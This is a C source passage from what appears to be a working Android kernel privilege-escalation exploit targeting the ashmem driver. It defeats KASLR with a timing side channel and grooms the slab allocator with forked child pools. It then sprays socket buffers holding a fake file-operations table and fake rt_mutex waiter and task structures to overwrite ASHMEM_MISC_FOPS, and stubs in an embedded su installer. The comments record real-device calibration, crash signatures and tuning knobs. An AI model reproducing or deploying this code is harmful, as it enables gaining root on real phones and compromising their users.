 * when the discarded leaked page actually returns to the buddy allocator
 * (the rcu callback -> __free_slab step is invisible to slabinfo). */
void report_buddy_order3(const char *tag) {
  FILE *f = fopen("/proc/buddyinfo", "r");
  if (!f) {
    pr_info("buddy order3 %s: open failed errno=%d\n", tag, errno);
    return;
  }
  char line[512];
  unsigned long total3 = 0;
  while (fgets(line, sizeof(line), f)) {
    /* Node 0, zone   Normal: ... counts per order ... */
    char *p = strchr(line, ':');
    if (!p)
      continue;
    char *tok;
    int order = 0;
    unsigned long v = 0;
    for (tok = strtok(p + 1, " \t\n"); tok; tok = strtok(NULL, " \t\n")) {
      if (order == 3) {
        v = strtoul(tok, NULL, 10);
        break;
      }
      order++;
    }
    total3 += v;
  }
  fclose(f);
  pr_info("buddy order3 %s: total_free_order3=%lu\n", tag, total3);
}

uintptr_t cleanup_kernelsnitch(void) {
  uintptr_t leaked = kernelsnitch_cleanup(ks);
  ks = NULL;
  return leaked;
}

__attribute__((weak))
int install_embedded_su(pid_t *daemon_pid) {
  if (daemon_pid) {
    *daemon_pid = -1;
  }
  errno = ENOSYS;
  return 0;
}

__attribute__((weak))
int install_embedded_wallpaper(void) {
  errno = ENOSYS;
  return 0;
}

void read_first_line(const char *path, char *buf, size_t len) {
  if (!len) {
    return;
  }
  snprintf(buf, len, "unreadable");
  int fd = open(path, O_RDONLY | O_CLOEXEC);
  if (fd < 0) {
    return;
  }
  ssize_t n = read(fd, buf, len - 1);
  int saved_errno = errno;
  close(fd);
  if (n <= 0) {
    errno = saved_errno;
    snprintf(buf, len, "unreadable");
    return;
  }
  buf[n] = 0;
  buf[strcspn(buf, "\r\n")] = 0;
}

void log_startup_context(void) {
  char attr[256];
  char enforce[32];
  char status[4096];
  char limits[160] = "NoNewPrivs=? Seccomp=? Seccomp_filters=?";
  read_first_line("/proc/self/attr/current", attr, sizeof(attr));
  read_first_line("/sys/fs/selinux/enforce", enforce, sizeof(enforce));
  int fd = open("/proc/self/status", O_RDONLY | O_CLOEXEC);
  if (fd >= 0) {
    ssize_t n = read(fd, status, sizeof(status) - 1);
    close(fd);
    if (n > 0) {
      status[n] = 0;
      const char *names[] = {"NoNewPrivs:", "Seccomp:", "Seccomp_filters:"};
      char values[3][32] = {"?", "?", "?"};
      for (size_t i = 0; i < 3; i++) {
        char *p = strstr(status, names[i]);
        if (p) {
          p += strlen(names[i]);
          while (*p == '\t' || *p == ' ') {
            p++;
          }
          size_t len = strcspn(p, "\r\n");
          if (len >= sizeof(values[i])) {
            len = sizeof(values[i]) - 1;
          }
          memcpy(values[i], p, len);
          values[i][len] = 0;
        }
      }
      snprintf(limits, sizeof(limits), "NoNewPrivs=%s Seccomp=%s "
               "Seccomp_filters=%s", values[0], values[1], values[2]);
    }
  }
  pr_success("startup context pid=%d uid=%u euid=%u gid=%u egid=%u attr=%s enforce=%s\n",
             getpid(), getuid(), geteuid(), getgid(), getegid(), attr,
             enforce);
  pr_success("startup limits pid=%d %s\n", getpid(), limits);
  pr_success("build config pid=%d label=%s slide=pselect main=pselect\n",
             getpid(), BUILD_VARIANT_LABEL);
  pr_success("p0 profile pid=%d phys_offset=%016llx kernel_phys_load=%016llx "
             "delta=%016llx slide_logger=%016llx bootid_data=%016llx "
             "init_task=%016llx root_tg=%016llx sysctl_bootid=%016llx\n",
             getpid(), (unsigned long long)P0_PHYS_OFFSET,
             (unsigned long long)P0_KERNEL_PHYS_LOAD,
             (unsigned long long)P0_KERNEL_PHYS_DELTA,
             (unsigned long long)SLIDE_NFULNL_LOGGER,
             (unsigned long long)SLIDE_RANDOM_BOOT_ID_DATA,
             (unsigned long long)SLIDE_INIT_TASK,
             (unsigned long long)SLIDE_ROOT_TASK_GROUP,
             (unsigned long long)SLIDE_SYSCTL_BOOTID);
}

void probe_env(void) {
  char buf[256];
  read_first_line("/sys/fs/selinux/enforce", buf, sizeof(buf));
  pr_info("probe selinux_enforce=%s\n", buf);
  read_first_line("/proc/sys/kernel/kptr_restrict", buf, sizeof(buf));
  pr_info("probe kptr_restrict=%s\n", buf);
  read_first_line("/proc/sys/kernel/perf_event_paranoid", buf, sizeof(buf));
  pr_info("probe perf_event_paranoid=%s\n", buf);

  errno = 0;
  int fd = open(ashmem_path, O_RDWR | O_CLOEXEC);
  pr_info("probe ashmem_open path=%s ok=%d errno=%d\n",
          ashmem_path, fd >= 0 ? 1 : 0, errno);
  if (fd >= 0) {
    close(fd);
  }
  errno = 0;
  fd = open("/dev/ashmem", O_RDWR | O_CLOEXEC);
  pr_info("probe ashmem_plain_open=%d errno=%d\n", fd >= 0 ? 1 : 0, errno);
  if (fd >= 0) {
    close(fd);
  }

  struct stat st;
  errno = 0;
  int cf = stat("/sys/kernel/config", &st);
  pr_info("probe configfs=%d errno=%d\n", cf == 0 ? 1 : 0, errno);

  FILE *fp = fopen("/proc/meminfo", "r");
  if (fp) {
    char line[256];
    while (fgets(line, sizeof(line), fp)) {
      if (strncmp(line, "MemTotal:", 9) == 0) {
        line[strcspn(line, "\r\n")] = 0;
        pr_info("probe %s\n", line);
        break;
      }
    }
    fclose(fp);
  }

  errno = 0;
  fp = fopen("/proc/kallsyms", "r");
  pr_info("probe kallsyms_open=%d errno=%d\n", fp != NULL ? 1 : 0, errno);
  if (fp) {
    char line[256];
    int hit = 0;
    while (fgets(line, sizeof(line), fp)) {
      if (strstr(line, " init_task")) {
        line[strcspn(line, "\r\n")] = 0;
        pr_info("probe kallsyms_init_task: %s\n", line);
        hit = 1;
        break;
      }
    }
    fclose(fp);
    pr_info("probe kallsyms_init_task_found=%d\n", hit);
  }
}

void log_slide_child_context(void) {
  char attr[256];
  char enforce[32];
  read_first_line("/proc/self/attr/current", attr, sizeof(attr));
  read_first_line("/sys/fs/selinux/enforce", enforce, sizeof(enforce));
  pr_success("slide child context route=%s pid=%d uid=%u euid=%u gid=%u "
             "egid=%u attr=%s enforce=%s\n",
             "pselect", getpid(), getuid(), geteuid(), getgid(), getegid(),
             attr, enforce);
}

void disable_rseq_for_thread(void) {
  return;
}

long futex_op(uint32_t *uaddr, int op, uint32_t val,
              const struct timespec *timeout, uint32_t *uaddr2,
              uint32_t val3) {
  return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
}

long sched_setattr_tid(int tid, int nice_value) {
  struct local_sched_attr attr;
  memset(&attr, 0, sizeof(attr));
  attr.size = sizeof(attr);
  attr.sched_policy = SCHED_BATCH;
  attr.sched_nice = nice_value;
  return syscall(SYS_sched_setattr, tid, &attr, 0);
}

int try_cache_ashmem_path(const char *path) {
  int fd = open(path, O_RDWR | O_CLOEXEC);
  if (fd < 0) {
    return 0;
  }

  close(fd);
  snprintf(ashmem_path, sizeof(ashmem_path), "%s", path);
  return 1;
}

int same_rdev_path(const char *path, dev_t rdev) {
  struct stat st;
  if (stat(path, &st) != 0) {
    return 0;
  }
  return S_ISCHR(st.st_mode) && st.st_rdev == rdev;
}

void init_ashmem_path(void) {
  char boot_id[128];
  int fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY | O_CLOEXEC);
  if (fd >= 0) {
    ssize_t n = read(fd, boot_id, sizeof(boot_id) - 1);
    close(fd);
    if (n > 0) {
      boot_id[n] = 0;
      boot_id[strcspn(boot_id, "\r\n")] = 0;

      char path[256];
      snprintf(path, sizeof(path), "/dev/ashmem%s", boot_id);
      if (try_cache_ashmem_path(path)) {
        return;
      }
    }
  }

  struct stat base;
  int have_base = stat("/dev/ashmem", &base) == 0;
  have_base = have_base && S_ISCHR(base.st_mode);
  DIR *dir = opendir("/dev");
  if (dir && have_base) {
    struct dirent *de;
    while ((de = readdir(dir)) != NULL) {
      if (strncmp(de->d_name, "ashmem", 6) != 0 ||
          strcmp(de->d_name, "ashmem") == 0) {
        continue;
      }

      char path[256];
      snprintf(path, sizeof(path), "/dev/%s", de->d_name);
      if (same_rdev_path(path, base.st_rdev) &&
          try_cache_ashmem_path(path)) {
        closedir(dir);
        return;
      }
    }
  }
  if (dir) {
    closedir(dir);
  }
}

int open_ashmem_device(void) {
  /* Non-fatal: -ENODEV is expected while the hijack is armed but the module
   * refcount slot is still cold (W2 poisons the owner).  Let try_cfi_stage
   * report step 11 and let the route retry after the warm punch. */
  return open(ashmem_path, O_RDWR | O_CLOEXEC);
}

int has_zero_byte(uintptr_t value) {
  for (int i = 0; i < 8; i++) {
    if (((value >> (i * 8)) & 0xff) == 0) {
      return 1;
    }
  }
  return 0;
}

uintptr_t p0_data_alias(uintptr_t image_addr) {
  uintptr_t off = image_addr - KIMAGE_TEXT_BASE;
  uintptr_t phys = P0_KERNEL_PHYS_LOAD + off;
  return ((phys - P0_PHYS_OFFSET) | P0_PAGE_OFFSET);
}

uintptr_t p0_alias_image_offset(uintptr_t data_alias) {
  return (data_alias - P0_PAGE_OFFSET) - P0_KERNEL_PHYS_DELTA;
}

uintptr_t data_addr(uintptr_t image_addr) {
  /* Real device: p0_data_alias() (direct-map alias assuming a fixed physical
   * kernel load of P0_KERNEL_PHYS_LOAD) is WRONG under KASLR — the kernel
   * image's physical load is randomized, so the alias reads garbage (pipe
   * stage got kmalloc_pipe_cache=0x6dcc71 from the assumed alias).  All data
   * symbols are readable AND writable through their slid virtual address
   * instead (cfi restore proved [ASHMEM_MISC_FOPS] writable via text_addr),
   * so route data_addr through the same KASLR-aware translation. */
  return kaslr_image_addr(image_addr);
}

uintptr_t kaslr_image_addr(uintptr_t image_addr) {
  if (!kaslr_done) {
    return image_addr;
  }
  return kaslr_base + (image_addr - KIMAGE_TEXT_BASE);
}

uintptr_t text_addr(uintptr_t image_addr) {
  return kaslr_image_addr(image_addr);
}

uintptr_t slide_canon_addr(uintptr_t data_alias) {
  return kaslr_base + p0_alias_image_offset(data_alias);
}

uintptr_t canon_addr(uintptr_t image_addr) {
  return text_addr(image_addr);
}

/* 方向二移植:tokay 的 pselect write value/target(默认 FOPS 覆写目标) */
uintptr_t pselect_write_value(void) {
  return fake_fops;
}

uintptr_t pselect_write_target(void) {
  return text_addr(ASHMEM_MISC_FOPS);
}

void put64(unsigned char *p, size_t off, uint64_t value) {
  memcpy(p + off, &value, sizeof(value));
}

void put32(unsigned char *p, size_t off, uint32_t value) {
  memcpy(p + off, &value, sizeof(value));
}

void put_fake_fops_table(unsigned char *p, size_t off) {
  put64(p, off + FOPS_OWNER_OFF, 0);
  put64(p, off + FOPS_LLSEEK_OFF,
        fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
  put64(p, off + FOPS_READ_OFF, 0);
  put64(p, off + FOPS_WRITE_OFF, 0);
#ifdef CONFIGFS_LEGACY_READWRITE
  /* 5.10:configfs 用 .read/.write(vfs 只查这两个槽) */
  put64(p, off + FOPS_READ_OFF, text_addr(CONFIGFS_READ_ITER));
  put64(p, off + FOPS_WRITE_OFF, text_addr(CONFIGFS_BIN_WRITE_ITER));
  put64(p, off + FOPS_READ_ITER_OFF, 0);
  put64(p, off + FOPS_WRITE_ITER_OFF, 0);
#else
  put64(p, off + FOPS_READ_ITER_OFF, text_addr(CONFIGFS_READ_ITER));
  put64(p, off + FOPS_WRITE_ITER_OFF, text_addr(CONFIGFS_BIN_WRITE_ITER));
#endif
  put64(p, off + FOPS_IOCTL_OFF, text_addr(ASHMEM_IOCTL));
  put64(p, off + FOPS_COMPAT_IOCTL_OFF, text_addr(ASHMEM_COMPAT_IOCTL));
  put64(p, off + FOPS_MMAP_OFF, text_addr(ASHMEM_MMAP));
  put64(p, off + FOPS_OPEN_OFF, text_addr(ASHMEM_OPEN));
  put64(p, off + FOPS_RELEASE_OFF, text_addr(ASHMEM_RELEASE));
  put64(p, off + FOPS_SPLICE_READ_OFF, text_addr(COPY_SPLICE_READ));
  put64(p, off + FOPS_SHOW_FDINFO_OFF, text_addr(ASHMEM_SHOW_FDINFO));
}

int try_put_blob_no_zeros(int fd, const unsigned char *blob, size_t len) {
  char name[ASHMEM_NAME_LEN];
  memset(name, 0x41, sizeof(name));

  for (size_t i = 0; i < len; i++) {
    name[i] = blob[i] ? blob[i] : 1;
  }
  name[len] = 0;
  return ioctl(fd, ASHMEM_SET_NAME, name);
}

int try_put_blob_zero_at(int fd, const unsigned char *blob, size_t pos) {
  char name[ASHMEM_NAME_LEN];
  memset(name, 0x41, sizeof(name));

  for (size_t i = 0; i < pos; i++) {
    name[i] = blob[i] ? blob[i] : 1;
  }
  name[pos] = 0;
  return ioctl(fd, ASHMEM_SET_NAME, name);
}

int try_set_ashmem_name_blob(int fd, const unsigned char *blob, size_t len) {
  if (try_put_blob_no_zeros(fd, blob, len) != 0) {
    return -1;
  }

  for (size_t i = len; i > 0; i--) {
    if (blob[i - 1] == 0 &&
        try_put_blob_zero_at(fd, blob, i - 1) != 0) {
      return -1;
    }
  }
  return 0;
}

pid_t clone_child(void) {
  pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
  if (child == 0) {
    SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL));
    if (getppid() == 1) {
      _exit(0);
    }
    pin_to_core(CORE);
    for (;;) {
      pause();
    }
  }
  return child;
}

pid_t clone_leak_child(void) {
  pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
  if (child == 0) {
    kernelsnitch_find_collisions(ks);
    pr_info("ksnitch collision child done, exiting\n");
    exit(0);
  }
  return child;
}

int open_memfd(pid_t child) {
  char path[64];
  snprintf(path, sizeof(path), "/proc/%d/mem", child);
  return SYSCHK(open(path, O_RDONLY));
}

void kill_child(pid_t child) {
  if (child <= 0) {
    return;
  }
  SYSCHK(kill(child, SIGKILL));
  SYSCHK(waitpid(child, NULL, 0));
}

void kill_pool_children(void) {
  for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
    kill_child(prepare_ctx.childs[i]);
  }
  for (size_t i = 0; i < spray_ctx.mm_cnt; i++) {
    kill_child(spray_ctx.childs[i]);
  }
  for (size_t i = 0; i < pre_ctx.mm_cnt; i++) {
    kill_child(pre_ctx.childs[i]);
  }
  for (size_t i = 0; i < post_ctx.mm_cnt; i++) {
    kill_child(post_ctx.childs[i]);
  }
  for (size_t i = 0; i < kick_ctx.mm_cnt; i++) {
    kill_child(kick_ctx.childs[i]);
  }
  for (size_t i = 0; i < flush_ctx.mm_cnt; i++) {
    kill_child(flush_ctx.childs[i]);
  }
}

void close_reclaim_sockets(void) {
  for (int s = 0; s < RECLAIM_SOCKETS; s++) {
    for (int i = 0; i < 2; i++) {
      if (reclaim_sv[s][i] >= 0) {
        close(reclaim_sv[s][i]);
        reclaim_sv[s][i] = -1;
      }
    }
  }
}

void close_ctx_memfds(struct mm_ctx *ctx) {
  for (size_t i = 0; i < ctx->mm_cnt; i++) {
    if (ctx->memfds[i] > 0) {
      close(ctx->memfds[i]);
      ctx->memfds[i] = -1;
    }
  }
}

void free_ctx_storage(struct mm_ctx *ctx) {
  free(ctx->childs);
  free(ctx->memfds);
  ctx->childs = NULL;
  ctx->memfds = NULL;
  ctx->mm_cnt = 0;
}

void cleanup_page_prepare_state(void) {
  close_ctx_memfds(&prepare_ctx);
  close_ctx_memfds(&spray_ctx);
  close_ctx_memfds(&pre_ctx);
  close_ctx_memfds(&post_ctx);
  close_ctx_memfds(&kick_ctx);
  close_ctx_memfds(&flush_ctx);
  if (memfd_leak > 0) {
    close(memfd_leak);
    memfd_leak = -1;
  }
  free_ctx_storage(&prepare_ctx);
  free_ctx_storage(&spray_ctx);
  free_ctx_storage(&pre_ctx);
  free_ctx_storage(&post_ctx);
  free_ctx_storage(&kick_ctx);
  free_ctx_storage(&flush_ctx);
  free(skb_buf);
  skb_buf = NULL;
}

int clone_memfd(void) {
  pid_t child = clone_child();
  int fd = open_memfd(child);
  kill_child(child);
  return fd;
}

void prepare_ctxs(void) {
  /* Runtime-tunable slab pool sizes so the real device can be calibrated
   * without rebuilds.  The leaked child mm must land on a slab page whose
   * other slots are all our prepared children; a larger pool raises the
   * odds on a busy 8-core device with foreign mm_struct churn. */
  const char *prep_env = env_get("glmmprepareslabs", "GL_MM_PREPARE_SLABS");
  size_t prep_slabs = 64;
  if (prep_env && *prep_env) {
    char *end = NULL;
    long v = strtol(prep_env, &end, 0);
    if (end && end != prep_env && v >= 4 && v <= 512)
      prep_slabs = (size_t)v;
  } else {
    /* Runtime adaptation (2026-08-26): cover the whole live mm cache so the
     * leak child's mm cannot land on a foreign (unkillable) slab even on a
     * busy device.  GL_MM_PREPARE_SLABS still overrides. */
    size_t cover = read_mm_cache_cover_slabs();
    if (cover > prep_slabs) {
      prep_slabs = cover;
    }
    pr_info("mm pool dynamic prep_slabs=%zu\n", prep_slabs);
  }
  const char *spray_env = env_get("glmmsprayslabs", "GL_MM_SPRAY_SLABS");
  /* >= 11 slabs keeps the freed-page math right: the first-frees of the
   * pre/post/spray pages push the per-CPU partial over cpu_partial (13),
   * forcing an unfreeze drain during the burst, so the leaked page is on
   * the node partial list when it empties and is discarded directly.
   * Keeping the pool lean also reduces scheduling noise for the timing
   * side-channel in the collision phase. */
  size_t spray_slabs = 12;
  if (spray_env && *spray_env) {
    char *end = NULL;
    long v = strtol(spray_env, &end, 0);
    if (end && end != spray_env && v >= 4 && v <= 512)
      spray_slabs = (size_t)v;
  }
  prepare_ctx.mm_cnt = prep_slabs * mm_objs_per_slab;
  prepare_ctx.childs = calloc(sizeof(pid_t), prepare_ctx.mm_cnt);
  prepare_ctx.memfds = calloc(sizeof(int), prepare_ctx.mm_cnt);

  spray_ctx.mm_cnt = spray_slabs * mm_objs_per_slab;
  spray_ctx.childs = calloc(sizeof(pid_t), spray_ctx.mm_cnt);
  spray_ctx.memfds = calloc(sizeof(int), spray_ctx.mm_cnt);

  /* pre pool is forked right before the leak/measurement child and is in the
   * kill set.  Enlarge it from one slab to GL_MM_PRE_SLABS (default 4) slabs
   * so it first consumes any foreign mm slots injected into this CPU's
   * freelist (system churn), making the leak child's mm land on a pre/post
   * slab whose neighbours are all killed.  Real-device 2026-08-26: repeated
   * ENOTTY reclaim misses correlate with growing foreign mm churn. */
  const char *pre_env = env_get("glmmpreslabs", "GL_MM_PRE_SLABS");
  size_t pre_slabs = 4;
  if (pre_env && *pre_env) {
    char *end = NULL;
    long v = strtol(pre_env, &end, 0);
    if (end && end != pre_env && v >= 1 && v <= 64)
      pre_slabs = (size_t)v;
  }
  pre_ctx.mm_cnt = pre_slabs * mm_objs_per_slab;
  pre_ctx.childs = calloc(sizeof(pid_t), pre_ctx.mm_cnt);
  pre_ctx.memfds = calloc(sizeof(int), pre_ctx.mm_cnt);

  post_ctx.mm_cnt = mm_objs_per_slab;
  post_ctx.childs = calloc(sizeof(pid_t), post_ctx.mm_cnt);
  post_ctx.memfds = calloc(sizeof(int), post_ctx.mm_cnt);

  /* kick set: held mm objects freed AFTER memfd_leak to force an
   * unfreeze_partials() drain.  The leaked mm page is frozen on the per-CPU
   * partial list when it empties; without a subsequent drain it never gets
   * discarded back to the buddy allocator.  put_cpu_partial() only
   * increments pobjects on the FIRST free of each page, so the kick must
   * span > cpu_partial (13) distinct pages: 14 slabs of mm_structs. */
  kick_ctx.mm_cnt = 14 * mm_objs_per_slab;
  kick_ctx.childs = calloc(sizeof(pid_t), kick_ctx.mm_cnt);
  kick_ctx.memfds = calloc(sizeof(int), kick_ctx.mm_cnt);

  /* flush pool: forked immediately BEFORE the leak/measurement child to
   * consume any foreign mm slots sitting on top of this CPU's freelist
   * (LIFO), so the leak child's mm allocation is far more likely to land on
   * our own (killable) slab.  Kept alive until the kill burst, which frees
   * it.  Real-device 08:03: the leak child hit a foreign slab and the
   * open panicked in try_module_get, so flushing foreign freelist slots is
   * the right lever. */
  const char *flush_env = env_get("glmmflushslabs", "GL_MM_FLUSH_SLABS");
  size_t flush_slabs = 2;
  if (flush_env && *flush_env) {
    char *end = NULL;
    long v = strtol(flush_env, &end, 0);
    if (end && end != flush_env && v >= 1 && v <= 64)
      flush_slabs = (size_t)v;
  }
  flush_ctx.mm_cnt = flush_slabs * mm_objs_per_slab;
  flush_ctx.childs = calloc(sizeof(pid_t), flush_ctx.mm_cnt);
  flush_ctx.memfds = calloc(sizeof(int), flush_ctx.mm_cnt);

  pr_info("mm pool prepare=%zu objs (%zu slabs) spray=%zu objs (%zu slabs) "
          "pre=%zu kick=%zu flush=%zu per_slab=%zu\n",
          prepare_ctx.mm_cnt, prepare_ctx.mm_cnt / mm_objs_per_slab,
          spray_ctx.mm_cnt, spray_ctx.mm_cnt / mm_objs_per_slab,
          pre_ctx.mm_cnt, kick_ctx.mm_cnt, flush_ctx.mm_cnt,
          mm_objs_per_slab);
}

int prepare_skb_payload(uintptr_t base, int payload_mode) {
  memset(skb_buf, 0, SKB_SEND_SIZE);

  /* skb linear head data start is bimodal on the real device (0xE80 vs
   * 0xEC0, 0x40 apart).  Payload content at buffer offset B lands at
   * page_base + B + SKB_DATA_DELTA; the delta must match the boot's head.
   * Default -0xE80 is the geometry that worked on 2026-08-25 13:34.  If
   * the boot hits the 0xEC0 head instead, rerun with GL_SKB_DATA_DELTA=-0xEC0.
   *
   * Never write a second fops table 0x40 later into the same object:
   * FOPS_IOCTL_OFF(0x50) - FOPS_READ_OFF(0x10) == 0x40, so the second
   * copy's read slot lands exactly on the primary copy's ioctl slot and
   * fake_fops[unlocked_ioctl] becomes configfs_read_file -> CFI panic on
   * the first ASHMEM_SET_NAME ioctl (observed 20:56 / 21:14, target
   * configfs_read_file.cfi_jt).  The per-phase fix is the delta knob. */
  int skb_delta = SKB_DATA_DELTA;
  const char *delta_env = env_get("glskbdatadelta", "GL_SKB_DATA_DELTA");
  if (delta_env && *delta_env) {
    char *delta_end = NULL;
    long dv = strtol(delta_env, &delta_end, 0);
    if (delta_end && delta_end != delta_env && dv >= -0x8000 && dv <= 0x8000) {
      skb_delta = (int)dv;
    } else {
      pr_warning("GL_SKB_DATA_DELTA=%s ignored (range -0x8000..0x8000)\n",
                 delta_env);
    }
  }

  /* 去掉 MTE tag 高位(恢复 canonical 0xff 顶字节):
   * QEMU(无内核 TBI)下带 tag 指针直接翻译缺页;
   * 真机 TBI 下 tag 校验也要求匹配,去 tag 后恒安全(同一物理页)。 */
  uintptr_t payload_base =
    ((base & 0x00ffffffffffffffULL) | 0xff00000000000000ULL) + skb_delta;

  fake_lock = payload_base + LOCK_OFF;
  fake_w0 = payload_base + W0_OFF;
  fake_task = payload_base + FAKE_TASK_OFF;
  /* The fops table (skb_buf chunk+FOPS_TABLE_OFF) lands at page_base+0x180
   * plus a per-boot PHASE in {-0x40, 0, +0x40}.  fake_fops must point AT the
   * table, so bias it by PHASE.  Mismatch signatures:
   *   ioctl returns ENOTTY (slot empty)   => table 0x40 EARLY, GL_FOPS_BIAS=-0x40
   *   CFI panic target=configfs_read_file => table 0x40 LATE,  GL_FOPS_BIAS=0x40 */
  long fops_bias = 0;
  const char *bias_env = env_get("glfopsbias", "GL_FOPS_BIAS");
  if (bias_env && *bias_env) {
    char *bias_end = NULL;
    long bv = strtol(bias_env, &bias_end, 0);
    if (bias_end && bias_end != bias_env && bv >= -0x2000 && bv <= 0x2000) {
      fops_bias = bv;
    } else {
      pr_warning("GL_FOPS_BIAS=%s ignored (range -0x2000..0x2000)\n",
                 bias_env);
    }
  }
  fake_fops = payload_base + FOPS_TABLE_OFF + fops_bias;
  pr_info("skb fops bias=%ld fake_fops=%016zx\n", fops_bias, fake_fops);
  if (payload_mode == PAGE_PAYLOAD_FOPS) {
    fake_parent = fake_fops;
    fake_right = data_addr(ASHMEM_MISC_FOPS);
    fake_left = 0;
    binwrite_target = payload_base + SCRATCH_OFF;
  } else {
    fake_parent = data_addr(ASHMEM_MISC_FOPS) - 8;
    fake_right = fake_fops;
    fake_left = payload_base + LEFT_OFF;
    binwrite_target = payload_base + FOPS_OFF + 0x700;
  }

  uintptr_t write_pc = fake_fops;
  uintptr_t write_right = text_addr(ASHMEM_MISC_FOPS);
  uintptr_t write_left = 0;
#if AUDIOIPI_VERIFY_TARGET
  /* QEMU 自验证:写原语目标改为 boot_id 缓冲 +3(8 字节对齐),
   * 从 /proc/sys/kernel/random/boot_id 读回 fake_fops 即证明 rb_erase 写触发。
   * 真机构建时此宏为 0,保持 ASHMEM_MISC_FOPS。 */
  write_right = SLIDE_RANDOM_BOOT_ID_DATA + 3;
#endif
  current_write_right = write_right;
  pr_info("skb payload mode=%d write_pc=%016zx write_right=%016zx "
          "write_left=%016zx\n", payload_mode, write_pc, write_right,
          write_left);
  uint64_t waiter_task = text_addr(INIT_TASK);
  uint64_t task_group = text_addr(ROOT_TASK_GROUP);
  uint64_t pi_top_task = text_addr(INIT_TASK);
  if (payload_mode == PAGE_PAYLOAD_SLIDE) {
    write_pc = SLIDE_LOGGERS_0_1;
    write_right = 0;
    write_left = SLIDE_RANDOM_BOOT_ID_DATA;
    waiter_task = SLIDE_INIT_TASK;
    task_group = SLIDE_ROOT_TASK_GROUP;
    pi_top_task = SLIDE_INIT_TASK;
  }

  for (size_t chunk = 0; chunk < SKB_SEND_SIZE; chunk += ORDER3_SIZE) {
    unsigned char *p = skb_buf + chunk + SKB_FRAG_BIAS;

    put32(p, LOCK_OFF + 0x00, 0);
    if (payload_mode == PAGE_PAYLOAD_SLIDE) {
      put64(p, LOCK_OFF + 0x08, 0);
      put64(p, LOCK_OFF + 0x10, 0);
      put64(p, LOCK_OFF + 0x18, 0);
    } else {
      put64(p, LOCK_OFF + 0x08, fake_w0);
      put64(p, LOCK_OFF + 0x10, fake_w0);
      put64(p, LOCK_OFF + 0x18, fake_task | 1);
    }

    put64(p, W0_OFF + 0x00, 1);
    put64(p, W0_OFF + 0x08, 0);
    put64(p, W0_OFF + 0x10, 0);
    put32(p, W0_OFF + FAKE_WAITER_TREE_PRIO_OFF, FAKE_WAITER_PRIO);
    put64(p, W0_OFF + FAKE_WAITER_TREE_DEADLINE_OFF, 0);
    put64(p, W0_OFF + FAKE_WAITER_PI_TREE_ENTRY_OFF + 0x00, write_pc);
    put64(p, W0_OFF + FAKE_WAITER_PI_TREE_ENTRY_OFF + 0x08, write_right);
    put64(p, W0_OFF + FAKE_WAITER_PI_TREE_ENTRY_OFF + 0x10, write_left);
    put32(p, W0_OFF + FAKE_WAITER_PI_TREE_PRIO_OFF, FAKE_WAITER_PRIO);
    put64(p, W0_OFF + FAKE_WAITER_PI_TREE_DEADLINE_OFF, 0);
    put64(p, W0_OFF + FAKE_WAITER_TASK_OFF, waiter_task);
    put64(p, W0_OFF + FAKE_WAITER_LOCK_OFF, fake_lock);
    put32(p, W0_OFF + FAKE_WAITER_WAKE_STATE_OFF, 0);
    put64(p, W0_OFF + FAKE_WAITER_WW_CTX_OFF, 0);

    put32(p, FAKE_TASK_OFF + FAKE_TASK_USAGE_OFF, 0x100);
    put32(p, FAKE_TASK_OFF + FAKE_TASK_PRIO_OFF, FAKE_TASK_PRIO);
    put32(p, FAKE_TASK_OFF + FAKE_TASK_NORMAL_PRIO_OFF, FAKE_TASK_PRIO);
    put32(p, FAKE_TASK_OFF + FAKE_TASK_PI_LOCK_OFF, 0);
    if (payload_mode == PAGE_PAYLOAD_FOPS) {
      put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_WAITERS_OFF, 0);
      put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_WAITERS_OFF + 0x08, 0);
    } else {
      put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_WAITERS_OFF,
            fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
      put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_WAITERS_OFF + 0x08,
            fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
    }
    put64(p, FAKE_TASK_OFF + FAKE_TASK_TASK_GROUP_OFF, task_group);
    put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_TOP_TASK_OFF, pi_top_task);
    put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_BLOCKED_ON_OFF, 0);

    put64(p, RIGHT_OFF + 0x00, fake_parent);
    put64(p, RIGHT_OFF + 0x08, 0);
    put64(p, RIGHT_OFF + 0x10, 0);

    put64(p, LEFT_OFF + 0x00, fake_parent);
    put64(p, LEFT_OFF + 0x08, 0);
    put64(p, LEFT_OFF + 0x10, 0);

    if (payload_mode == PAGE_PAYLOAD_FOPS) {
      put_fake_fops_table(p, FOPS_TABLE_OFF);
    }
  }
  return 1;
}

uintptr_t prepare_kernel_page(int payload_mode) {
  close_reclaim_sockets();
  mm_objs_per_slab = ORDER3_SIZE / MM_STRUCT_SZ;
  prepare_ctxs();

  skb_buf = malloc(SKB_SEND_SIZE);
  memset(skb_buf, 0x41, SKB_SEND_SIZE);

  /* IMPORTANT: the pool children are held by the PROCESS (pause()), NOT by
   * /proc/pid/mem fds.  This kernel's proc_mem_open() does mmgrab()+mmput():
   * the fd holds an mm_count ref, and the later memfd close calls mmput()
   * on an already-zero mm_users, underflowing it to 0xffffffff.  The mm is
   * then NEVER freed (kmem_cache_free never runs), so the slab page can
   * never empty and the reclaim cannot work.  Killing the children instead
   * frees their mm_structs through the normal exit path (users 1->0 ->
   * __mmput -> mmdrop -> free_mm). */
  for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
    prepare_ctx.childs[i] = clone_child();
  }

  for (size_t i = 0; i < spray_ctx.mm_cnt; i++) {
    spray_ctx.childs[i] = clone_child();
  }

  int cpu_count = (int)sysconf(_SC_NPROCESSORS_ONLN);
  ks = kernelsnitch_setup(
      MM_STRUCT_SZ, MM_ORDER, cpu_count, KSNITCH_COLLISIONS, 0,
      KERNELSNITCH_MTE_ENABLED);

  for (size_t i = 0; i < pre_ctx.mm_cnt; i++) {
    pre_ctx.childs[i] = clone_child();
  }
